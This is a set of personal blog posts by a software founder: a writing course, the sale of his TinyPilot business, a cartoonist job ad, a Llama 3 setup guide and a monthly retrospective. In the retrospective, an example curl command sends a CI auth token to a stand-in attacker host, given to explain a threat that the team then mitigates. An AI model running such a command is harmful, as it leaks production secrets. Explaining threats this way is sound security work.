In this lesson, I’ll talk about simple techniques to make your writing more engaging, how to avoid common writing pitfalls, and how to continually improve your writing.

Lesson 5: Submission Day

Thursday, July 25th, 2024 at 10 AM ET

There’s an art unto itself of submitting to Hacker News and participating in discussions there. You don’t want to invest hours into an excellent article only to fumble your opportunity for a wide audience with a careless mistake on submission day.

In this lesson, I’ll walk you through the process of submitting your post to Hacker News, how to make the most out of your time on the front page, and how to keep the comment thread civil and friendly. I’ll also show you how you can recover if your Hacker News submission fails to gain traction.

Lesson 6: My Process from Start to Finish

Thursday, August 1st, 2024 at 10 AM ET

I’ve been developing an effective writing and publishing workflow for my blog over the past eight years.

In this lesson, I’ll show you all the tools I use in my writing process. I’ll share my entire creative process, showing real examples of how my blog posts evolved from idea to first draft to front page success.

What’s not covered: Grammar

While I do love grammar and try to obey its maddening rules, this is not a course about grammar.

In lesson four, I’ll cover techniques to strengthen your writing and catch careless errors, but this course is more about connecting your writing with an audience rather than the craft of writing itself.

Class size

I’m aiming to have classes of 10-20 students. If there’s enough demand, I may add additional sections so that no class gets uncomfortably large.

Venue

The classes will meet online on Jitsi Meet. You don’t need to be on camera during the class, but you’re welcome to be.

Structure

The classes will be lecture-style lessons in 90-minute slots.

I’ll present slides for 30-60 minutes, and I’ll reserve 20-30 minutes for questions.

Who should take this course?

The type of writing that succeeds on Hacker News is technical topics like software and hardware or about running a business related to those domains.

This course is likely a good match for you if you fall into any of the following categories:

You’re interested in writing articles about software, hardware, or entrepreneurship.
You’ve submitted articles to Hacker News in the past and can’t understand why they didn’t get attention when similar articles from other authors succeeded.
You want to write articles to bring attention to your startup, side project, or small business.
You work in DevRel and want to write content that will appeal to smart developers.

Who shouldn’t take this course?

If you’re a marketer, influencer, VP, or “thought leader” with lots of brilliant theories to share about what other people are doing without doing anything yourself, your writing probably won’t succeed on Hacker News.

If you’ve become a LinkedIn sensation by writing amazing broetry, I can’t help you translate that skill to Hacker News.

Requirements

There is no homework for this class, so most of the work is attending classes and actively participating.

Specifically, you need to:

Show up
- I want to teach people who are interested in all of the topics. I expect you to show up to at least five of the six sessions, preferably all of them.
Give feedback
- I’ll send out surveys after each session asking for feedback. I’ll use the feedback to guide the course material and teach in a way that best connects with you.

Cost

The course is $180 per attendee ($30 per session).

I accept credit payments via PayPal or cryptocurrency payments through Ethereum or USDC.

If you need a certificate of completion or some other documentation to request reimbursement from your employer, I’m happy to work with you in getting whatever you need.

Downloadable copy

After the course ends, I’ll record a downloadable video course covering the same material. It will be an updated version of Hit the Front Page of Hacker News, which I published in 2020.

When I publish the full downloadable course, you’ll get a free copy of the highest-tier package.

Refund policy

If you decide after the first class that this course isn’t right for you, I can offer a 100% refund. After that, I won’t offer refunds for leaving the course.

Heads up: Babies make things unpredictable

My wife and I are expecting our first child at the end of August.

The class is scheduled to end well before the baby’s due date, but if the baby arrives early, I’ll need to cancel the remaining classes. If that happens, I’ll refund your tuition at $30 per session that was not fulfilled.

Signups for this course are now closed. Please reach out if you’re interested in a future class.

Reset Month

Fri, 31 May 2024 00:00:00 +0000

No update this month

I’m skipping my normal retrospective this month, as I sold TinyPilot and am taking some time to figure out my next project.

Retrospectives will hopefully resume in a month or two!

I Sold TinyPilot, My First Successful Business

Wed, 29 May 2024 00:00:00 +0000

My first two years as a bootstrapped founder went poorly. I could barely find any paying customers, and all of my businesses lost money. I began questioning my decision to quit my cushy Google job.

In mid-2020, yet another of my businesses had flopped, and it was only kind of COVID’s fault. Desperate for a distraction, I made a little contraption that controlled my home servers through my web browser. I called it TinyPilot.

The prototype of TinyPilot, which allowed me to control computers in my home remotely without installing any software

I blogged about creating TinyPilot, and I could tell right away that I was onto something. My post reached the #1 spot on Hacker News and several popular subreddits.

I started offering pre-packaged kits so my readers could build their own TinyPilots, and they immediately sold out. With every other project, I had to beg and plead with people even to try my product. With TinyPilot, there was so much demand that I struggled for months to keep the product stocked.

For the next four years, I focused full-time on building TinyPilot into a business and improving the product. I grew the company to a team of seven people and $1M in annual revenue.

A month ago, I sold the company for $600k.

Over the next four years, TinyPilot evolved into a more refined product.

Details of the sale

Sale price: $598,000 (2.4x annual earnings)
Broker commission: $88,900
Legal fees: $18,297
My profit from the sale: $490,803
Payment terms: Full cash payment at closing (no earnout, no seller financing)
Seller obligations:
- 30 days of free consulting (max of 40 hours/week, 80 hours total)
- 45 days of paid consulting (max of 10 hours/week at $180/hr)
Lifetime profit from business (including final sale): $920k over four years

What am I allowed to say?

I specifically negotiated in the sale agreement that I could discuss the terms of the sale and the process of selling the business.

I can’t say anything disparaging about TinyPilot or reveal anything about TinyPilot that would give its competitors a meaningful advantage.

Part 1: Preparing to sell

Why sell?

After years of flops, I was finally earning a consistent profit, selling a product I was proud of, and working with a great team. Wasn’t that exactly what I wanted?

I missed writing code. TinyPilot is a hardware business, so there were tons of moving parts beyond the software. I was the sole manager of six people on three distinct teams and managed relationships with our key vendors. I rarely had uninterrupted time for deep focus, and when I did, I felt too exhausted from juggling everything else.

My wife and I also wanted to start a family. TinyPilot only occupied about 40% of my waking hours, but it occupied 90% of my stress. I would have done a terrible job juggling founder stress with new parent stress.

Who would want to buy such a strange business?

TinyPilot fell into an odd, in-between business category. It was a hardware manufacturer, a software company, and an eCommerce store. How would I find a buyer comfortable with all three?

There were larger competitors selling equivalent devices to TinyPilot for twice the price. I considered approaching enterprise competitors and saying, “Give me a million dollars, and I’ll never build another TinyPilot.”

TinyPilot’s enterprise competitors sell similar devices for twice the price.

But I didn’t want to sell out. I’d asked customers to take a chance on me as a new, unproven hardware manufacturer. Running off with the cash would have felt like a massive betrayal to my customers and the TinyPilot team.

I wanted a buyer who would keep investing in the company, not a competitor who would just axe the product or bleed it dry.

FE International: The wrong broker for TinyPilot

In October 2022, I reached out to FE International, the only brokerage I’d ever heard of that catered to bootstrapped founders. I wasn’t ready to sell, but I wanted to understand the path to an exit.

FE initially seemed interested. Then, after a few email exchanges and seeing my financials, they gave me a soft brushoff:

Unfortunately, with the current set up of two main SKUs generating roughly 98% of your revenue, this would not be a good fit for most buyers. Buyers typically want to see that a business has a minimum of 10 SKUs, and that none of these SKUs generate more than 30% of revenue.

At this time we would advise, in preparation for a sale to start to consider increasing your product offering. These don’t always have to be completely new products, and this could also be USB-C cables, wall plugs, ethernet cables, servers, display ports, HDMI cables etc, this would also help to increase your AOV.

After FE’s rejection, I felt trapped and panicked.

I had invested hundreds of thousands of dollars into software and hardware engineering to make just one product, and I was barely scraping by. According to FE, I had no chance of selling unless I did ten times as much as I was currently doing?

If you can’t get out, get comfortable

I didn’t want to shut down the company and lay everyone off, but I also didn’t want to carry the stress of running TinyPilot for the rest of my life. So, I looked for ways to make the business less stressful.

One of the most difficult parts of TinyPilot was hardware revisions. We were always redesigning TinyPilot’s hardware to make improvements, but that meant constantly finding new suppliers and rethinking our manufacturing pipeline. In 2023, I decided to keep the design we had and stop fiddling with the hardware.

The other source of complexity was TinyPilot’s office. We were still doing everything in-house: managing inventory, assembling devices, and fulfilling orders. I worked with TinyPilot’s in-person team to migrate the office’s core functions to external vendors. It was a major challenge to outsource so many delicate processes, but it eliminated an enormous amount of management overhead and stress.

The happy side-effect of making TinyPilot easier to manage was that it also made the company more attractive to potential buyers. When I stopped pouring $100k/year into hardware improvements, the company became substantially more profitable. And without an office and custom in-house manufacturing, a prospective owner could run TinyPilot from anywhere in the world.

Part 2: Starting the sales process

The strategic acquirer

With the company in stronger shape, I decided to restart my search for a buyer. Going through a broker didn’t work, so I began contacting buyers on my own.

In his book The Art of Selling Your Business, John Warrilow encourages founders to seek acquisitions from “strategic buyers,” companies that could use your business as part of their growth strategy.

For example, if you’re a salsa company that consistently makes $100k/year, a typical buyer might acquire you for $300k. But a buyer who already manufactures tortilla chips would see obvious synergy between the two businesses, so your salsa company would be worth $400k-600k to them.

I emailed the CEOs of five companies that complemented TinyPilot in some way. Most ignored me or gave polite brushoffs, but one company showed immediate interest. I’ll call them ServerCo.

ServerCo was an attractive buyer. They were bootstrapped as well, they seemed culturally aligned with TinyPilot, and we sold complementary products to similar customers. Having never participated in an acquisition before, they were cautious but enthusiastic about buying TinyPilot.

ServerCo would email me a list of detailed questions about TinyPilot’s finances and risks, I’d answer in a day or two, and then there’d be weeks of silence. Finally, they’d respond with a new round of questions, and we’d start the cycle again.

After four months of intermittent discussions, ServerCo finally presented me with an offer:

$150k cash
$100k employment contract for 12 months of full-time work
25% of TinyPilot’s profit the first year after closing
10% of TinyPilot’s profit the second year after closing

They didn’t intend it to be an insultingly bad offer, but it was a pretty bad offer.

eCommerce companies typically sell for 2.5-3.5x earnings. The cash portion of ServerCo’s offer was 0.9x TinyPilot’s earnings.

As for the salary, $100k/year is roughly what a software developer makes fresh out of college in the US. And that’s without a 12-month commitment.

I politely told ServerCo we were too far apart on price to continue negotiating, but we both agreed to keep the door open in case things changed.

Attending Microconf and meeting Quiet Light Brokerage

In 2023, I attended Microconf, a small conference for bootstrapped founders. I hoped to either find a potential buyer or at least get advice from other founders about what to do with TinyPilot.

One of the sponsors of the conference was a brokerage I’d never heard of, Quiet Light. They piqued my interest because not only did they cater to bootstrapped founders, they worked with a lot of eCommerce companies.

At the event, I spoke with Chris Guthrie, an advisor at Quiet Light. He seemed optimistic about selling TinyPilot, so after the conference, he began working with me on a sales package. It was a set of documents and financial reports to show prospective TinyPilot buyers. It included a profit and loss statement for the past two years, a detailed questionnaire about the company, and a brief video interview with me.

Chris recommened presenting TinyPilot mainly as an eCommerce business with an asking price of around 3x the last twelve months of earnings. At the time, earnings were $208k, so we agreed to list at $599k, roughly 2.9x earnings.

TinyPilot’s listing card on Quiet Light’s website

For the first two months, things looked bleak. Chris received a handful of inquiries, but they were from buyers who either wanted me to stay on as a co-founder or wanted me to finance the majority of the purchase.

Serious buyers finally appear

Finally, in January, two attractive buyers appeared around the same time.

The first buyer was Scott, who worked a corporate job in media production but had grown disilussioned with big company culture, much like I had. After discovering TinyPilot through Quiet Light, Scott read my public retrospectives about building the company and saw potential to bring TinyPilot to a broader customer base.

The other offer was from a pair of founders. They were initially TinyPilot customers and had reached out to me about building a managed services company on top of the product. When I told them I was selling the company, they were interested in buying.

Soliciting LOIs

The sales process officially starts with the letter of intent (LOI). The LOI lays out the high-level details of the sale, the most important being the purchase price.

Crucially, the LOI isn’t binding. The document that really matters is the asset purchase agreement (APA), which you sign when the deal closes. But the LOI officially kicks off due diligence and the drafting of the APA.

When we started LOI discussions, I was in an excellent negotiation position. I had two serious buyers competing against each other. Since listing on Quiet Light, TinyPilot’s annual earnings had increased by $10k, and we received pre-qualification for an SBA loan, which meant buyers who didn’t have $599k in cash could now get a government-backed loan to buy the business.

Chris told the two prospective buyers that we were planning to re-launch on Quiet Light at $625k but that I’d honor the original price if they made an offer within the next two weeks.

Price negotiations

Scott made the first formal offer, but it was for $500k, a steep $99k drop from my asking price. At that point, I had several attractive alternatives, so I declined.

We awaited an offer from the founder duo, who had sounded eager to move forward. Two days later, they backed out without making an offer at all.

Uh oh. Did I blow the deal? What if $500k was the best I was going to get, and I just rejected it? I still had the option of re-launching on Quiet Light, but seeing both buyers reject the asking price shook my confidence.

Fortunately, the next day, Scott sent a new LOI for my $599k asking price, and I accepted.

It was great to bump the price by $99k, but that was the last point in the process that felt like I was negotiating from a position of strength.

Part 3: Closing

Due diligence makes me weaker by the day

One of the biggest surprises in this process was how much closing time matters.

Chris from Quiet Light had recommended selling, if at all possible, to a buyer with cash on hand rather than someone who needs a loan. When the buyer finances the purchase with a bank loan, due diligence takes longer, and there are more decision-makers who can kill the deal.

At the time, I thought, “Faster would be better, but I’m a patient person. What’s an extra two months?”

I quickly learned that a slower closing isn’t about a few months of patience — it’s about how much additional risk and work the seller absorbs with each passing week of due diligence.

When you sell a house, the buyer has to put down a deposit of 1-5% to hold their claim on the house. If the buyer changes their mind, the seller keeps the money as compensation for the time they lost.

When you sell a business at TinyPilot’s scale, there’s no deposit. You can invest hundreds of hours into preparing reports for due diligence, reveal all your confidential business secrets, and spend thousands of dollars negotiating legal documents and still walk away with nothing if the buyer backs out.

As due diligence stretched on, my negotiating position became markedly weaker. Before signing the LOI, I could easily move on to the next buyer. By month two of due diligence, walking away from the deal meant restarting this costly and time-consuming process from zero. I’d also risk TinyPilot’s sales slipping after so many months being distracted from the business.

Closing week

By April, we’d been in due diligence for what felt like a year but was actually just three months. Finally, on April 3rd, Scott’s bank approved the deal. They recommended a closing date of Friday, April 12th.

That final week was the longest week of my life. I didn’t know what to do with myself.

The only thing I could find motivation for was ruminating about all the things that might go wrong. What if the buyer got cold feet? What if Google announced an identical product and gave it away for free? What if our manufacturer spontaneously went out of business?

It felt like I was on my way to my retirement party, but there was a 5% chance that when I got there, my boss would say, “Gotcha! You’re not really retiring. Now, work extra hard to make up for all the time you wasted preparing to leave.”

On closing day, I couldn’t focus on anything at all. I woke up at 4 AM and couldn’t fall back to sleep. I couldn’t do anything that required even basic thinking, and I couldn’t relax enough to watch TV, so I started disassembling some old TinyPilot devices while checking my email every 90 seconds.

Finally, at 2 PM, I received the email I’d been waiting for all day. The escrow company confirmed that they had the money ready to wire, so I signed the closing documents. TinyPilot was no longer my company.

Part 4: After the sale

The first thing I did after I got the money was eat dessert.

My wife and I were at dinner the night of the closing, and the email confirmation of the wire transfer arrived right before the server brought over our desserts.

The payment is sale price + cost of inventory - broker’s fee.

Over the next 48 hours, I had celebratory meals with friends and family in different parts of Massachusetts, during which I ate the following desserts (in order):

Chocolate tort and vanilla ice cream
Oreo cheesecake
Chocolate lava cake and vanilla ice cream
Chocolate caramel cheesecake
Crème brûlée
Pizookie Trio (Strawberry Shortcake, Sugar Cookie, Salted Caramel)

Did I feel relief?

When I talked to friends about the sale, the most common question was whether I felt relieved to be done.

For the first few weeks, I still felt anxious. Consciously, I knew that the deal had closed, but my body was still stuck in high-alert mode from months of urgent due diligence requests.

I felt a bit more relaxed each week and probably felt Officially Relaxed™ by week three. By that point, I’d transferred all of TinyPilot’s accounts to Scott, and he was comfortable taking the reins. I felt like the company was in good hands.

Do I feel a loss of identity?

I’ve heard other founders say they struggled with a loss of identity after they sold their business. Others say it feels like they’ve given up their baby.

I didn’t feel a change in identity or a sense of deep loss.

I always ran TinyPilot like a modest small business rather than a world-changing startup. I’m proud of TinyPilot and put a lot of care into the company, but it was never a blood, sweat, and tears thing for me.

Timeline

Oct. 3, 2023 - I sign an engagement letter with Quiet Light.
Oct. 17, 2023 - Quiet Light lists TinyPilot on their website.
Dec. 15, 2023 - I have my first conversation with Scott.
Jan. 16, 2023 - I receive the first LOI.
Jan. 23, 2024 - I sign the LOI with target close date of April 16.
Feb. 23, 2024 - I get the first draft of the APA.
March 7th, 2024 - Lender approves the loan.
March 20th, 2024 - Scott and I finalize the APA.
March 25th, 2024 - Lender finishes legal review and submits loan package to SBA.
April 3rd, 2024 - Lender notifies buyer of SBA approval and suggests a closing date of April 12th.
April 12th, 2024 - We sign final legal agreements, and I receive payment.

What’s next?

My wife and I are expecting our first child in August, so that’s been the main thing I’m preparing for. I’m trying to keep plans loose until I see what my life is like with a baby.

In the short term, I’m looking for simple projects that I can step away from abruptly when the baby arrives. Beyond that, I’d like to find a way to build a virtuous cycle between my blog and my business. I’d love to write about what interests me, then attract customers to my product through my writing and fund my writing from the business.

As for TinyPilot, Scott plans to keep improving the product and bring it to a wider audience. Everyone on the team received offers to stay on, and they all accepted. The company will continue to publish updates on TinyPilot’s blog, and Scott is continuing my tradition of blogging about TinyPilot’s behind-the-scenes strategy.

Follow-up

Lessons from my First Exit

Original illustrations by Piotr Letachowicz. Thanks to other founders who shared their acquisition stories, especially Josh Pigford, Kareem Mayan, and Laura Roeder.

Hiring: Freelance Blog Cartoonist

Mon, 29 Apr 2024 00:00:00 +0000

Applications closed

Update: Applications are now closed.

Previous overview

I’m a blogger, and I often commission custom cartoons for my blog posts like this one:

An example of a cartoon I commissioned for the blog, part of my year-in-review series

The blog’s previous cartoonist was the awesome Loraine Yow, who worked with me for six years. She recently changed careers, so I’m looking for someone who can take over as the blog’s official cartoonist.

Benefits

Long-term client relationship
Wide variety of subjects
Room to bring your own creativity and style
Transparent, competitive pay
Relaxed, flexible timelines
Publicity with credit on a popular technology blog
- Blog receives 250k-450k unique readers annually.

What it’s like working with me

For each blog post, I use the following process to work with an artist on cartoons:

I create a written spec
- Example spec and result
You show me an initial sketch
I give notes about the draft
You show me a revision
We repeat steps 3 and 4 until the piece is complete
- Usually two to four rounds of feedback

I wrote about this process in a previous blog post.

The most important part of working together is clear communication. I put a lot of effort into communicating clearly, and I work best with people who communicate thoughtfully and pay attention to details.

Our communication is entirely asynchronous over email. I don’t require you to have meetings or calls with me.

What style I’m looking for

My previous cartoonist had a distinctive style that I liked, but I don’t want you to just mimic the existing style. I’d like you to bring your own style to the work.

The words I’d like readers to think of when they read my blog are:

Lighthearted
Knowledgeable
Simple
Trustworthy
Doesn’t take itself too seriously

Example styles I like

Pay rate

I’ll pay you your hourly rate. I’m aiming to pay roughly $75 per cartoon.

If you charge $80/hr and each cartoon takes you three hours, it’s probably not going to work.

If you charge $50/hr and each cartoon takes you about 90 minutes, that would work great. It also works fine if you charge $25/hr and each cartoon takes three hours. You get how math works.

Keep in mind that your cartoons don’t have to be as detailed as what’s currently on the blog. I’d be fine with a simpler style that allows us to hit a $75/cartoon target.

Why not pay a flat fee for every cartoon?

The problem with paying a flat fee for every cartoon is that if I occasionally want a more elaborate cartoon, then the artist is getting underpaid. It also discourages me from requesting a set of simple, quick cartoons if I’m paying the same fee regardless of complexity.

Why not pay a flat fee on a per-cartoon basis?

If we have to decide the fee on a per-cartoon basis, we both end up spending a lot of our time thinking about price instead of collaborating on the art itself.

Time tracking

I trust you to report your hours honestly. I’ll never ask you to “prove” your hours to me, and I’ll definitely never ask you to run any software that monitors your computer.

Early in our work together, I’ll ask you to timebox tasks to a set number of hours to make sure we’re working together at the expected pace. As we get more experience working together, I’ll skip the timeboxing and trust you to let me know if I’m asking for work that’s going to be especially expensive.

Payment

I’ll pay your invoice for work when you complete the set of cartoons for an article. Expect payment within five business days of the invoice, usually sooner.

I don’t pay bonuses or tips. I want your compensation to be transparent, so you don’t have to wonder about undefined pay left to my discretion.

If you use an invoicing service that accepts online payments, I’m happy to pay that way. I can also pay via PayPal, Payoneer, ACH transfer (US only), or a mailed check (US only), depending on your preference.

Credit

I will credit you for your work by including your name and a link to your portfolio or website at the bottom of each article you work on.

The images themselves will not contain a credit or signature.

Work frequency

I expect to commission 10-15 cartoons per year in 7-10 separate projects.

Project timelines

I typically send you the spec two to three weeks before I plan to publish an article.

Most articles only have a single cartoons. If they have more than three, I can give more lead time.

Hiring process

You submit an application (15-30 minutes).
I pick 3-5 candidates from the applicant pool.
I give you a paid trial job of a single cartoon and pay your normal hourly rate.
- I pay you for this work even if I choose not to hire you.
- We’ll timebox this to a maximum of five hours.
If you’re the best match, I offer you the job, and we begin working together immediately.

How to apply

If this sounds like a good fit for you, please apply through the link below:

~~I’d like to be this blog’s next cartoonist~~ (applications are now closed)

I will personally review every application I receive. If you put honest effort into applying, I will send a personalized response back, even if I decide not to move forward with your application.

Please don’t email outside of the application link above, as that makes it difficult for me to track applications.

Experimenting with Lllama 3 via Ollama

Thu, 25 Apr 2024 00:00:00 +0000

I saw that Meta released the Llama 3 AI model, and people seem excited about it, so I decided to give it a try.

I don’t have much experience running open-source AI models, and I didn’t see a lot of documentation about how to run them. I tinkered with it for a few hours and got Llama 3 working with Ollama, so I wanted to share my instructions.

Provisioning a cloud server with a GPU

To run this experiment, I provisioned the following server on Scaleway:

Server instance type: GPU-3070-S
OS: Ubuntu Focal
Disk size: 100 GB (needed because the model is large)

To SSH in, I ran the following command with port forwarding because I’ll need access to the web interface that will run on the server’s localhost interface.

TARGET_IP='51.159.184.186' # Change to your server's IP.
REMOTE_PORT='8080'
LOCAL_PORT='8080'

# SSH in and port-forward a port to access the Open-WebUI web interface.
ssh "${TARGET_IP}" -L "${REMOTE_PORT}:localhost:${LOCAL_PORT}"

Install CUDA

First, install CUDA to enable Ollama to use the GPU:

sudo apt-get install linux-headers-$(uname -r) && \
 sudo apt-key del 7fa2af80 && \
 echo "deb [signed-by=/usr/share/keyrings/cudatools.gpg] https://developer.download.nvidia.com/compute/cuda/repos/ubuntu2204/x86_64/ /" | sudo tee /etc/apt/sources.list.d/cuda-ubuntu2204-x86_64.list && \
 wget https://developer.download.nvidia.com/compute/cuda/repos/ubuntu2204/x86_64/cuda-ubuntu2204.pin && \
 sudo mv cuda-ubuntu2204.pin /etc/apt/preferences.d/cuda-repository-pin-600 && \
 sudo apt-get update && \
 sudo apt-get install -y cuda-toolkit nvidia-container-toolkit ca-certificates curl

Install docker

Next, install Docker so that you can run ollama under the Open-WebUI web interface for Ollama:

sudo install -m 0755 -d /etc/apt/keyrings && \
 sudo curl -fsSL https://download.docker.com/linux/ubuntu/gpg -o /etc/apt/keyrings/docker.asc && \
 sudo chmod a+r /etc/apt/keyrings/docker.asc && \
 echo \
 "deb [arch=$(dpkg --print-architecture) signed-by=/etc/apt/keyrings/docker.asc] https://download.docker.com/linux/ubuntu \
 $(. /etc/os-release && echo "$VERSION_CODENAME") stable" | \
 sudo tee /etc/apt/sources.list.d/docker.list > /dev/null && \
 sudo apt-get update && \
 sudo apt-get install docker-ce docker-ce-cli containerd.io docker-buildx-plugin docker-compose-plugin && \
 sudo usermod -aG docker "${USER}" && \
 newgrp docker

To test everything is working, run the following command:

docker run hello-world

Start Ollama and Open-WebUI

I adapted the standard Open-WebUI Docker Compose file to make one for Ollama, which you can download and run with the following command:

wget https://mtlynch.io/notes/ollama-llama3/docker-compose.yml && \
 docker-compose up

Once the server is up and running, visit the following URL in your browser:

http://localhost:8080

You’ll first see a page prompting for a login. Click “Sign up.”

Then enter any details. You don’t really need a valid email, as far as I can tell.

From here, you need to download a model to use. Click the settings button:

I don’t know the differences between the models, but Llama 3 is the newest one that just came out a few days ago, so I decided to try that. It says on ollama.com that llama3:70b is optimized for chatbot use cases, so I initially went with that one, but it was incredibly slow. I switched to llama3 and that performed decently:

It’s going to sit at 100% for a while, but it’s not done until you see a popup announcing the model is fully downloaded.

Once that’s downloaded, close the settings dialog and select llama3:latest from the dropdown:

From there, you can start playing with Llama 3. Here’s me having a conversation with Llama 3 as it pretends to be Nathan Fielder:

TinyPilot: Month 45

Thu, 11 Apr 2024 00:00:00 +0000

New here?

Hi, I’m Michael. I’m a software developer and the founder of TinyPilot, an independent computer hardware company. I started the company in 2020, and it now earns $80-110k/month in revenue and employs six other people.

Every month, I publish a retrospective like this one to share how things are going with my business and my professional life overall.

Highlights

I worked with the TinyPilot team to lock down access to deployment secrets without interfering with our workflows.
I learned from my mistakes to limit downtime when migrating services between platforms.
I wrote my first compiler, albeit an extremely simple one.

Goal grades

At the start of each month, I declare what I’d like to accomplish. Here’s how I did against those goals:

Fill the gaps in TinyPilot’s release documentation

Result: Filled in the gaps we discovered on the last release.
Grade: A

Our March TinyPilot Pro release was the first where I didn’t perform any release tasks directly. The release went smoothly, but there were points during the process where the next steps were unclear to the team.

I held postmortems with the dev and support engineering teams to gather feedback about the release. Those meetings generated a lot of useful feedback about the process, and we’ve revised our internal documentation and playbooks to address the hiccups we ran into.

Complete 2023 taxes

Result: Submitted all tax documents on time.
Grade: A

I had complicated taxes this year because it’s my first year married filing jointly, and I was waiting on a few tax forms, but everything is now in.

TinyPilot stats

Metric	February 2024	March 2024	Change
Unique Visitors	13,000	9,100	-3,900 (-30%)
Sales Revenue	$82,517.42	$107,809.83	+$25,292.41 (+31%)
Enterprise Subscriptions	$290.70	$290.70	0
Royalties	$3,373.65	$2,442.12	-$931.53 (-28%)
Total Revenue	$86,181.77	$110,542.65	+$24,360.88 (+28%)
Profit	$23,599.09	$3,193.73	-$20,405.36 (-86%)

March was TinyPilot’s strongest month of sales revenue in history, narrowly beating our previous record by $600. Profit at the one-month granularity is down, but the three-month average is the more meaningful metric, and that’s looking strong.

Visits are down from last month but only because February had an atypical surge in visits from my year six review post.

Tightening access to TinyPilot’s production secrets

Over the past few months, we’ve been improving TinyPilot’s release process so that it’s more automated and less dependent on me.

In reviewing our release workflow, we realized that too many team members had access to production secrets. Production secrets include things like authentication tokens for publishing new versions of our website or the TinyPilot application.

We’re a small team, so in our case, “too many” team members having access meant five people instead of one. Still, four people had access to production secrets that didn’t need them.

Most TinyPilot repositories are “push on green,” meaning that we push every code change to production after it passes our automated tests on CircleCI, our continuous integration service.

We store our secrets as CircleCI environment variables. This initially seemed fine because environment variables are write-only, meaning that you can’t read the values after you store them.

CircleCI’s admin interface only shows a portion of the values of environment variables, and only the CircleCI admin can see them. Note that I’m showing fake values.

Once we started thinking more critically about protecting secrets, we realized that despite what CircleCI’s web UI suggested, all five team members effectively had access to our environment variables. A malicious team member could extract secrets in one of two ways:

They could create a new branch in our code repository and then push a change to our CircleCI config file that exfiltrates a secret to a remote server they control, like curl http://attacker-server.example.com/exfiltrate?token=$AUTH_TOKEN
They could SSH in to CircleCI for any job and type echo $AUTH_TOKEN on the command line.

(1) was semi-possible to detect, but it wasn’t something we ever checked. (2) was impossible to detect, as CircleCI doesn’t log SSH sessions.

The attack would have to come from within the TinyPilot team, as third-party contributors don’t have access to CircleCI environment variables at all.

We looked into tightening access, and CircleCI’s documentation recommended storing security-sensitive secrets in “contexts.” Contexts are still environment variables but with additional access controls.

Security contexts only allowed you to restrict access to a particular set of people. So, we could have maintained our existing workflow by giving everyone access to the secrets, but then we’re back to square one. We could have arbitrarily decided that some subset of the team is trusted and has to initiate every deployment, but that would have added tremendous friction.

We reached out to CircleCI support, and they said they were coincidentally about to release something that would solve our problem. Two weeks later, CircleCI launched expression-based context restrictions, which did, in fact, perfectly solve our problem.

CircleCI’s expression-based restrictions allowed us to add restrictions to contexts beyond just an allowlist of users. We could restrict secrets to certain branches and disable access when SSH is enabled. We ended up with expressions like the following:

pipeline.git.branch == "master" and not job.ssh.enabled

This expression mitigates attack (1) above because a malicious team member who tries to exfiltrate a secret using a branch would not have access to the secret in their branch.

The expression mitigates attack (2) by just making the secret unavailable when a user initiates a CircleCI job with SSH access.

Our master branches require at least one approval for any change, so this system is still vulnerable to an attack from two team members doing something malicious together. One corrupt team member could introduce a code change that exfiltrates a secret, and their co-conspirator could approve it. But this would be a particularly noticeable attack, as the change would be in a file we frequently work on, and there’d be a clear audit trail of who put it there.

Overall, I’m happy with CircleCI’s expression-based context restrictions. If you’re on a team where CI has access to production secrets, I recommend thinking about whether too many team members have access to secrets they don’t need.

Improving my process for migrating services between hosts

When I started TinyPilot, I tended to host services on large providers like Google Cloud Platform and Amazon Web Services. Over the last four years, I’ve come to prefer smaller vendors like Netlify and Fly.io.

Most of TinyPilot’s services run on smaller hosting platforms, but we still had a couple of services I set up at the beginning and never moved, so I decided to consolidate.

One of the migrations was a bit bumpy, and I used the lessons to make the next one smoother.

The Firebase to Netlify migration (bumpy)

The TinyPilot website is just a static site, so we can host it anywhere. It was on Firebase hosting, as that was what I was using for everything in 2020, and it’s been fine. But in rearchitecting our deployment flow around security contexts, I realized it was a good opportunity to move from Firebase to my current preferred host for static sites, Netlify.

It seemed like it would be a simple migration. There’s no database or anything to keep in sync. I just had to start publishing the website on Netlify and update my DNS records to point to the new host.

Or so I thought.

I published to Netlify, updated the DNS entries for tinypilotkvm.com, tried visiting the site, and: TLS error.

Immediately after updating DNS entries, I saw a TLS error when visiting the TinyPilot website.

That’s bad. Nobody wants to shop on a site right after the browser just told them it was going to steal their credit card information.

Worse, I made this change at 9:30 AM ET on a Thursday, so it was during hours when we receive most of our paying customers.

Had Netlify not generated the TLS certificate yet? I checked the TLS error, and it turned out that my browser was complaining about a TLS certificate from Firebase. Huh? Wouldn’t Firebase still be serving the old site with the bad certificate?

My mental model of the visitors was that they’d fall into two buckets depending on how fresh the information was in their DNS server:

They query a DNS server that has the old Firebase IP address -> They see the old Firebase version working as it did before I updated DNS.
They query a DNS server that has the new Netlify IP address -> They see the new Netlify version working.

Even now, I don’t understand why I was seeing a Firebase certificate error. The only explanation I can imagine is that Firebase reacts to DNS changes and immediately invalidates certificates when the associated DNS records change. But the Firebase admin dashboard was still showing my certificates as valid.

As a workaround, I configured Firebase to redirect visitors to netlify-preview.tinypilotkvm.com, the staging domain I had set up for the new site the day before. That worked, so customers stopped seeing the TLS error. I wish I’d chosen a less weird staging domain than netlify-preview because it strongly suggests to customers that something is wonky, but it was better than a TLS error.

For a full day after, the old Firebase site was still receiving traffic, but it slowly dwindled to zero over the course of a few days. After a week, I shut down the Firebase site.

The AWS to Fly.io migration (smooth)

TinyPilot uses a LogPaste server to collect diagnostic logs from users. It’s a basic Go app, and my preferred platform for Go services is Fly.io. But TinyPilot’s LogPaste server was running on AWS LightSail, so I decided to migrate from LightSail to Fly.io.

Migrating LogPaste was slightly harder than migrating the TinyPilot website, as LogPaste also has a SQLite database. But it was also lower stakes, as it wouldn’t be a disaster if our LogPaste server went down for a couple of days.

The day before the migration, I dialed down the TTL on the logs.tinypilotkvm.com DNS entries to one minute. DNS servers don’t have to respect the TTL, but I figured it was helpful that I limit caching for the ones that do.

I also deployed a staging version of LogPaste to Fly.io under the domain name logs2.tinypilotkvm.com. That way, if I had to pull a redirect trick like I did with the TinyPilot website, I’d have a not-too-weird URL to point users to.

I also prepared a migration script I could run to move data from the old LightSail version to the new Fly.io version. It was a simple bash script that downloaded the production database from the Amazon S3 bucket and uploaded it to the storage bucket backing the new Fly.io server.

On deployment day, I ran the migration as soon as I woke up at 7 AM. That way, slightly fewer people would be affected if there were a temporary outage.

Fortunately, the migration went smoothly. All the DNS servers in my chain seemed to respect the 1-minute TTL, as the logs for my Fly.io server showed LogPaste processing requests to logs.tinypilotkvm.com almost immediately.

